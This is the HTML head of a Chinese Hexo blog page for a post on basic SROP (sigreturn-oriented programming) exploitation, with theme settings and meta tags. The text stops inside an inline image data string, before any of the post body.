<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="32x32" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="16x16" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="mask-icon" href="https://www.hualigs.cn/image/6015799666530.jpg" color="#222">
  <link rel="manifest" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <meta name="msapplication-config" content="https://www.hualigs.cn/image/6015799666530.jpg">

<link rel="stylesheet" href="/diazang/css/main.css">


<link rel="stylesheet" href="/diazang/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"jue-xian.gitee.io","root":"/diazang/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="上次讲到59号系统号调用是局限性比较大的 今天讲典型的">
<meta property="og:type" content="article">
<meta property="og:title" content="srop基本利用">
<meta property="og:url" content="https://jue-xian.gitee.io/diazang/2021/04/13/srop%E5%9F%BA%E6%9C%AC/index.html">
<meta property="og:site_name" content="RUBIA">
<meta property="og:description" content="上次讲到59号系统号调用是局限性比较大的 今天讲典型的">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://p2.ssl.qhimg.com/t0119acc683e38c6a02.png">
<meta property="og:image" content="https://img-blog.csdnimg.cn/20210112111211177.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L21jbXV5YW5nYQ==,size_16,color_FFFFFF,t_70">
<meta property="og:image" content="https://img-blog.csdnimg.cn/20210112130202757.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L21jbXV5YW5nYQ==,size_16,color_FFFFFF,t_70">
<meta property="og:image" content="%0A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%0AfrwITbkeOk0mfn9vJNpJvzxVh2qu6gnB2Nk/4MSlApQLBuPj0AsvHcdPc0cj%0A0tK+xgGe+Auywye4rMvBlz38ql4L7bQUF8qz8fUA2f0wxF9y07drxPpWYbj5%0ASVrSPoqbshUnM0ug05Yg59A2LOxs+QdKDdrIsB7WU6frseEqwON4sR7ZusTv%0A8IS5P+PkhRsoFX+nCCU3kH7gW3w8oLP1+9oOx4v1sB7za6yH9bAemzbBjb2w%0Aw9PPeMmsdO87i2uePljwgIfDupX5IqrPQmzbcwHXi3SoNAgovXYRh94dWTUD%0AMNh3HJZtO4Gr10uhEwSU38xHzplj2Dy8vd35hReiBq/CwfMFqBDPV7SFGTi2%0AaITpnMimnXNq76UX2HwUVu26gpsVemjF86/ji83nX+IyNTUH/F9fzFlzGFc1%0AOujLC5GeetoY4B2ZYr9dRER0LzgO8B4agc3ZAtLe6Vvj/yt0V/xV9TTsjRVn%0ABOSuHObwJPKeYj3OsR7nWI9zrMc51uMc63GO9TjHepxjPc6xHkXtGnpgXjPp%0AIRa+2PGYB8IU2pB6gT5v4ai2FCnxSjPjiYjobnMY4D3bZxOu6y5iRbjz/7Nz%0Ar/x19Xhh0PzzEHI2ItHyfwb/UqzHOdbjHOtxjvU4x3qcYz3OsR7nWI9zrMc5%0A1uPIhKa+xqfQbq4T+6U+8cPgkfMwc8gIjIwYiNH9p2H17lzoc79F8lPSJdBK%0A7yEiorvJQYDXCuM/uwHhjyUYZPNo+L/KX1tPUNgHOK/Lw9Y+LRWX32usxznW%0A4xzrcY71OMd6nGM9zrEe51iPc6zHOdZDtcq9Paau/h1X88ugNxig1eTg7E9r%0AMaNtYA0vQSYiotri9CEWRERERERERERE9NdigEdERERERERERFSHMcAjIiIi%0AIiIiIiKqwxjg0V/DzR9DEj7G+kn90FppORERERERERERGTkJ8LwQs+ACDLD8%0A3MLNdWMQIntzvdR4NL4uqDRvk/ijv4iV7erGk3adeqQj4vuNxuCn/yZPfXLv%0AgIX7BWi3TUSo0vKa+rvtHyIiIiIiIiIiM5cBnvbPFRjt0QYRzcLQuYlv1fIA%0Ady+s8fBFuo8fCvz8kO3ti/1NvTGlkbjM0oebJ1Z5+UEjLrd36SlPBMv6uST2%0Ak+frhxvif896+GDVY55ob+4n5GFv5InvueHhhb7m1wIbeeGg2L7Qxwfj3czr%0AE3V50Atrm/nigtSX6JLY11ePe+J583L/+30Q3jRM3J42eK7nSqRpbzPAe6Az%0AJi9MwR+ZN6EVdCjNS8ep7csx2dtTuf0dCuq4HOnay/i04x2EjW6tETdlC06k%0AF0FbUYzsQ1uxsFNwzZ8k9UgUpn+8H5dvlENXrsHV/23DO8+FIFCprSO1HODV%0Ayv4hIiIiIiIiIqqDXAd4J/+L/g1s3yQJaOCFFF9TGHfWwxenvP1QKP5ZCtQW%0ANTbPgqoK8Hxxurk3tv/Lp8oXj3kgqFo/PvhN7Oua+GfpPd8+6mEMl9QGeN0e%0A8cE5c1953r444mkOBpt7Icr8PrmgsA9xoeJ2Ajxx38w/B13JWXw3NQmjOvXD%0AiBdexnuLZ2PEo0rt79ydB1SeiEzcBY2Qi9T5yUjqm4xlO3Ohz9+FN71qEDq6%0ABWPi59egv56K5fGDMLjLWCzakg5t0UHMa1WD2hjgERERERERERGpcucBnq8P%0AXpeWu3lgSlNf42y8a828TDPeZAHesgds3++wH/G1uCd9kS/2k/a0aZaemgBP%0Amsm3xdu0rr2Pe6KjuZ1U1/MNxeWWv8vcdoDn3g7z9grQfj0RYUrLLdxDMCx5%0AIw6eykZxeQVuXj6K76YOQkfLjEG3YCQu2I0TZ7JRWKSFXleKvJM7sWJAR+t9%0A4RrF4otM64XM1p9KFK4Zadw/Nut0pGE0lv0pQLN5QtX6A56ciJ8KBJyf28sY%0ApgZ6TMSOLB2urh2HzpY2TRPwTUYF0pbEIlx6rclL2FUi4MTrEdYZd4+Owde5%0AAtLe6Wvsp2qdzpgDPEP67zh0Jh8VugoUntuP9aOj8Ky5TcATydhdrEfa231k%0A/bbA+HUF0J/5CDHiuKreP67GQhTwWDRmrUjFpdxSCHoB5Zo8ZBxaiaQm1jZG%0AbqGYsPwcbmouYNPAZ2s+g5GIiIiIiIiIqAZqL8ATX5NCtcNSqFYV6tU8wGvt%0A7oG3mpkuy015zMMYEqkJ8No96oMcsU2+hzcGyUIZZ25/Bl4LjFmWBX3Oz3ir%0AdUuF5ZKWiJv/B8ryj2PDhNEY1iEGk6f/iIwKDfa92MEUfplDLP2RTzG171CM%0AfWEKlu7IgaH0EBZWzWZrgc4tu6Hf0C+RrbuKrUO7o0/Q86Ju6NWslerwKOCZ%0AGfhNq8XesSHoNX438nIPYmFwGGakaKHbNR0Rxn3mgXY91uBSRQH2TegqjkU4%0Apm7JRfnvSxD7sKWfN8V+dNifKLv01q0t5uzWQffjK1WXPbtk3vbK7FSsfWki%0AXuydhPmfnkaJPgffDDT37RaGWSnlEA4vRLTlGGzYH59e0CNv5VDz/RjV7B8V%0AY3G/N4Z9kAF97j58MiwOse36YmiPBEx/cSR62h//jQbiszQpNDQg68NBfAgH%0AEREREREREd1VtRrg+bt5YauP9JovPmgs/d3BPfDE90x2t+vHrs3Ff3ki0rwu%0ANQFev8dNs/Zym3pZL8l080B0Yw8MFIVbXpO5/QBPrLtJH8z78jyKy/JwevNS%0AzOreqWrmmHH5v17Fr8Ua7BwVKgvZAvHK1mLofp2N56XtV7iMNNBzJg5pdUgd%0AH2YTzt3pJaJBbZfgou4GNke3wuCFF6DXZ2Jd11ZIWlMI4dT7GCDNZjO29cOg%0AmUdRUnIaW5f+ioKiI3gv1HrvQ2km3yd/CCj97SOMecZPrNELbbyGYOURPXQ7%0Ap6OLyvBU8RJa9wgsOqiDds8MdDMeH57o+u9fUa49grf9TJf5BrZagJM6DX4c%0A4m/tS+Rs/6gai/tbYNLGIujPfIZxT7vax57o0m0Gls2fiZHicarchoiIiIiI%0AiIiodtR6gLfNHOC9bxPg2d0Dr6kX4s1BjzXA88XhZj74XnRS7EO6n96RJ00P%0AslAT4L3wuE9VgGd5Uq59G2ONMncS4Jl4IrzVMMx6+3uczS9H7q7FGPGE6f5/%0AwdEbcaOyEgadDjqtlWC4BcPFFYiTAjOlEKvxSGzLF/DHzEibh0LUXoDnA/8G%0AgejmFYzW9/soBHiiBp0xZ2cxbt0ScFqsw/6y2Dbhs7DjTBEqbxmgFwwwFGtQ%0ArKtE8YYE9fezU9p28ZiLW3wZ+twNSJCOH/G1gKdfxi9FWhyf2lncHx7o8uJe%0AVBT9hGnm/WzhbP+oGguxXUjgK/jubBkqizNxZMNSzOnTDeHmoJmIiIiIiIiI%0A6K9SqwFeUGNvHJMCM/G1aVLwcZv3wAts6IXd5n6k10Ie9kG2n3R5rBcGmoM4%0A67q8kSi+1uFRH+SaQ74+5r7vfoBn1drnZezM1SPjvQHGSyqDe29EvpCBzXFR%0A5ks6rXq3eNYUWikGeCOwJU/Amdn2Ad4yXLmDAM96CW1r6yw0t2DzJbRvmC+h%0ANQn0fRm7rlWgSFOGit8/Qvwj1mVW3ghv3hk9fNqgXdA8HNdW4LdJ7Wxqdkox%0AwPNG/HtXoL/2BcaZAzx/tyAkf1kA3dF30KehNGuuCKU/Tq26R5+Fs/2jaiws%0AGoVi4MBZWP3lUVwr0yN/3wcY9aRtWEhEREREREREdC/VXoDn7oE3m5keYpHV%0AzAtdpXa3GeCFNPbC/2QBXtAD3jhlDuKmmdt0ftQbWVKo5+mNGDdT6PezNPtP%0AXNfWR8U+xDb3MsDzdwvHnD06aLcno63494Dmr+NAqYDzC/vaBkRyNQnwnn0f%0A53R5+EqaQSd7XTXzQywKN41HB/O+CHhiAnbkWx9iYWz3UDQ++F8xCn+egRf8%0Ap2JPng7py0egvcL+M3rgOcz6Lg+GnG2YXJOgS2nbG0Xhw2MCylNeswkUQ59b%0AjQxtGtZET8T2G8XYM0Z+KayJs/2jaiwUhAbOxSH7B3YYSZfQvolPeAktERER%0AEREREd0Ddx7gSZfHevjiD/NlrwU+Pnirkbmdo0toRd81Fft3k/fjh7MePjgo%0A9pVu/nt6M088Z+5niaep/+s+vjgsa3PscQ/zk0Y9EPO4aaae9PoVT1/8TyRd%0AelvrAZ57WyS//QU+/ncixnTpi5iO8Xhlxg5kaMtwfFo3c9jTCsMXnUGFkIej%0Ay+bi1X7DMLZ3Al5LnoUXfcyhTw0CPP/HEvF9vgGFv3yMaX3iMa7/FCyI66H+%0Aqa/3eyIyaTc0wjXsnzsJib0nYWnKNejzd2GGtyWEEmt+7xy0V79G8r+kMM4D%0AEfHf4bpwFVv7WR9a8ewzkYjtNgrTXlmBXX8WwVB4HCu7yx5qoYZ524XDK5Hc%0AMxZj+k/Fsu3p0FZcwNpI2/vb+TfoikUHy1GUmY3igh8w1e7yWSOn+0fFWNzf%0AAqNe34CVk8djXIQ4pu1jMGHKt7iiK8HeBNv7EUoPsVhrfojFVT7EgoiIiIiI%0AiIjustsP8Nw9sdbTF1m+fijw9UWGlw9SnvLCWPm91KoCvOosl75K/Sx7xhcX%0AfXyRZ+zLD2liv9884YV+svuPhTTyxEfNfHDJx/SE2iwvsc3jXoi0CeY8MOAx%0Ab/zgYanLD5liu71NvdC/NgO8Bp0xcf43OPRHDm6W6WHQlSH/3G/49o2h6Crf%0AV+4hiJ/0OQ6czkWJ1gBDuQbZJ1KwIMy8vpoEeOJ4RA1ehYPnC1AhGKAtzMCx%0ARSPQTmG7HHILRtyUrTiZWQKdtgQ5h7ZhYWdr8BbaaSkulGfj6wEh1sDKPRzT%0At2sgnF+F4cYn0Xoh9t1L0JYUIOvEAWxf9DqGP3MbswLFWpLe2Y9zGYUo15n2%0ATcaBrVjcI1whlPRAeP/NyKusRN6nIxFWbbnExf5xNRZuIRg7+wecuFSAcvH9%0AlUIZCi8dx09zRyPSEkhbuIViwvLzKNJcwKaBz9YsuCQiIiIiIiIiqqHbDvD+%0ADmr1Elq6qwIDFuBEyVksC/dWXE5ERERERERE9HflOsD7cwVGe7RBRLMwdG7i%0AK1teX/kgvGmYuD1t8FzPlUjTMsCrqwKadMHgDtEY0ut1fHWiCNlrx6FjTWYc%0AEhERERERERH9DbgM8KQ7fZl+buHmujHGh0PIO6h3Go/G1wWV5m0Sf/QM8Oqq%0A4MiVuFwsQHczE8dWT0U/4yW8RERERERERET/LPc95zDAIyIiIiIiIiIior+a%0AMcCzhHgM8IiIiIiIiIiIiOqWqgBPwgCPiIiIiIiIiIiobmGAR0RERERERERE%0AVIfVswDPE1GvHIagTcWc5h4Ky2vRIx0R3280Bj99p+vxQtdei/HTkUwUlmhR%0AobmGS6nf4D+hXgho+jpSteaHaYg/2m0TEarYR21oiaQ1eRBOvod+DZSW19Q9%0AHAsiIiIiIiIion+wehbgeaDrhAPQafdi5lN3NzQK6rgc6drL+LTjnT2hNuDJ%0ASfi50IDcHe9has+BGBY5Ai+NmYihUjDYoDWigrujX2g8lh/W3+UA7xmE9t6I%0A67qzWBpWG0/dvXdjQURERERERET0T1bvLqENG7YD2pLtSH5QeXltqa0AL6j9%0AUqRpM/FZhLficiP3cMz9RbjrAZ7/g8OwKUvAxfnRCFJaXkP3aiyIiIiIiIiI%0AiP7J6l2AF9zjc1xLW43hjZSW+6Bbz7nYsvMsrt3UQq8rR1HWeeydag2sApqO%0Ax5ZTObhZpkelUIb8c6nYlNgLbdzMfTSKxReZBvNFrfKfShSuGYngqnW54LAf%0AASde64JAeVsXAZ7LmiUNw5Ew81ucvHITWkEPrSYXab/twie9gxFQ1ZcfxizP%0AgXDmI8Q0lL3Xwi0YiQt248SZbBQWSfuvFHknd2LFgI5obd9W5HwsiIiIiIiI%0AiIioNtS7AC+g6RDMThqEjvLwysgTXeO/QbZQgas/rcCCkQlI6DEME0a8iWmd%0AgqwhVqMIjIkfjVGd+2Bwl5GYtfI0SoXLWNPFx9xPC3Ru2Q39hn6JbN1VbB3a%0AHX2Cnhd1Q69mrWRhmCuO+4l83G42nqsZeC5r9sfI9y9AW3YRP06fiMSoWCQO%0AXY3TgoBjr3SyCQtDoj4T67mEVR0UZha6d8DC/QL0Rz7F1L5DMfaFKVi6IweG%0A0kNY2Kp6e8djQUREREREREREtaXeBXgONY7B55cNKN75BqJq8pCGhxPx/U0B%0Av0+znRVXa5fQqumnppfQ2tUc0Gwa9pUIODunp3Wm3APjkVJRPcDzf2AI1qcL%0ASF/cv/qsOnOAJ68j0HMmDml1SB0fVoPwkoiIiIiIiIiIasvfJsALbDkfJ3Q6%0A7E8KcRo0BTYdjIWf7se5KzdQdLMAORcyodHpcWZ2ZJ0N8FzVHBy9ETcEu/vs%0AOQrw7vfB8CWZEC6twFD7S18VAjz/xiOxLV/AHzNt9w8REREREREREd0bf58A%0Ar8VcHNfp8GuC/J5vdtw7Y+6eEghXfsYH8bGICe2JId0XYF+hoBDgLcOVuhDg%0Aqag5uM9X0AhpWC1fh8MAT2wfsQqZugys62q5BNdMMcAbgS151fcPERERERER%0AERHdG3+jS2ilS0MNuPnjNEQ6uoT2gQRsL9LjzFtR1jCqcTw25eiqB3jPvo9z%0Aujx8FW0XctWQqgDPLRSzftZB9/Nr6GR/PzkVNUuzD3/XaXFkiiyscxLg+Tca%0AgDUXBWR9NNj2oRwM8IiIiIiIiIiI6py/T4B3vyeixqbguqECV1NWYsHwMRjX%0AYxiSYl7GnJhI01NoG3TFO6nl0J79GgsHxGBw22jERs3H3gKFgOqxRHyfb0Dh%0ALx9jWp94jOs/BQvielQ9zVYtdZfiemPYB5kwFJ/A+rGjkTRoCuYMqkHN7uF4%0A7Zt8VGpOYtPkBCT2HY//vP0rcgwOAjxxfbHvpkHI+AyjH5C9zgCPiIiIiIiI%0AiKjO+RsFeBJfRPVZiG17LuB6kQ6VBgGl1y7i0Lsj0cE8sy3YdxyWbTuBq9dL%0AoRMElN/MR86ZY9g8vL1dQOWFqMGrcPB8ASoEA7SFGTi2aATa1fCJq2rvpRfY%0AfBRW7bqCmxV6aDWZOL54ZNW61NQc8H99MWfNYVzV6KAvL0R66mljgHdkiv12%0AmQR1+ASXdTn4soef9XUGeEREREREREREdc7fLMAji0Cft3BUW4qUeH/F5f4N%0Ae2PFGQG5K4dVv+8eERERERERERHVGTYBXgQDvHrKD4NHzsPMISMwMmIgRvef%0AhtW7c6HP/RbJT3kotJd4YdD88xByNiLxYaXlRERERERERERUFzDA+ztwb4+p%0Aq3/H1fwy6A0GaDU5OPvTWsxoG+j4ibyioLAPcF6Xh619WiouJyIiIiIiIiKi%0Avx4DPCIiIiIiIiIiojqMAR4REREREREREVEdxgCPiIiIiIiIiIioDmOAR3eu%0AQTckz12Nxb1DnN5z7y/j5o8hCR9j/aR+aK20XK3a6oeIiIiIiIiIqAacBHhe%0AiFlwAQZYfm7h5roxCJG9uV5qPBpfF1Sat0n80V/EynZeym3rmbbdV+BcYT6O%0Az+h9bwOmB8YjpULAsVc6IVBp+V/NvQMW7heg3TYRoUrL1aqtfiwe6Yj4fqMx%0A+GlHTwomIiIiIiIiIlIR4Gn/XIHRHm0Q0SwMnZv4Vi0PcPfCGg9fpPv4ocDP%0AD9nevtjf1BtTGonLLH24eWKVlx804nJ7l57yRLCsn0tiP3m+frgh/veshw9W%0APeaJ9uZ+Qh72Rp74nhseXuhrfi2wkRcOiu0LfXww3s28PlGXB72wtpkvLkh9%0AiS6JfX31uCeeNy/3v98H4U3DxO1pg+d6rkSa9jYCvCYJ+Op8Acp0Btyq1KOi%0AIAtnflyDWe2C/sIZaB6ISNiN0luVKPx8LMIU29wltxvgubVG3JQtOJFeBG1F%0AMbIPbcXCTsE13IceaN9uGtb98AeyNRUQyjS4eug7vN+jjbWWOhrgBXVcjnTt%0AZXza8e8RIBMRERERERHR3eE6wDv5X/RvYPsmSUADL6T4msK4sx6+OOXth0Lx%0Az1KgtqixeUZRVYDni9PNvbH9Xz5VvnjMA0HV+vHBb2Jf18Q/S+/59lEPY5ij%0ANsDr9ogPzpn7yvP2xRFPczDY3AtR5vfJBYV9iAsVNQ/wAp6Yin1aASfmxWNQ%0A2xcw4oVpWLP3BgyFezDT21PxPfeEWwB6tIvG8w8rLLubbivA80Rk4i5ohFyk%0Azk9GUt9kLNuZC33+LrzpVYN92KArFuzJwpkNizFj4AgkDp6Fr44Vo1KTgtf/%0AZT4OGeARERERERERUT125wGerw9el5a7eWBKU1/jbLxrzbxMM95kAd6yB2zf%0A77Af8bW4J32RL/aT9rRplp6aAE+aybfF27SuvY97oqO5nVTX8w3F5Za/y9xZ%0AgKfDgRdDq/oN9JqNwzodUv8dZl2XewiGJW/EwVPZKC6vwM3LR/Hd1EHoKJsx%0AKM0I7NZzLrbsPItrN7XQ68pRlHUee6dGGwNONf0ENH0dqVrzJcHij1LAFB73%0APYr0mVjX1Vv2uhf6vfUnBM12JDcxv6am5ocjMW3JPly+UQGhvBDpB04iW1/D%0AAK9hNJb9KUCzeYJ1O56ciJ8KBJyf28u47YEeE7EjS4era8ehc9W2JuCbjAqk%0ALYlFuOW1Rt7WfSUK7rYG2UIuNvXwMb1mDt4M6b/j0Jl8VOgqUHhuP9aPjsKz%0Asve5pKKfgCeSsbtYj7S3+8hqaoHx6wqgP/MRYsRj0b9RLL7ItF6cbv2pROGa%0AkcZj3rQ+12MR8Fg0Zq1IxaXcUgjiGJRr8pBxaCW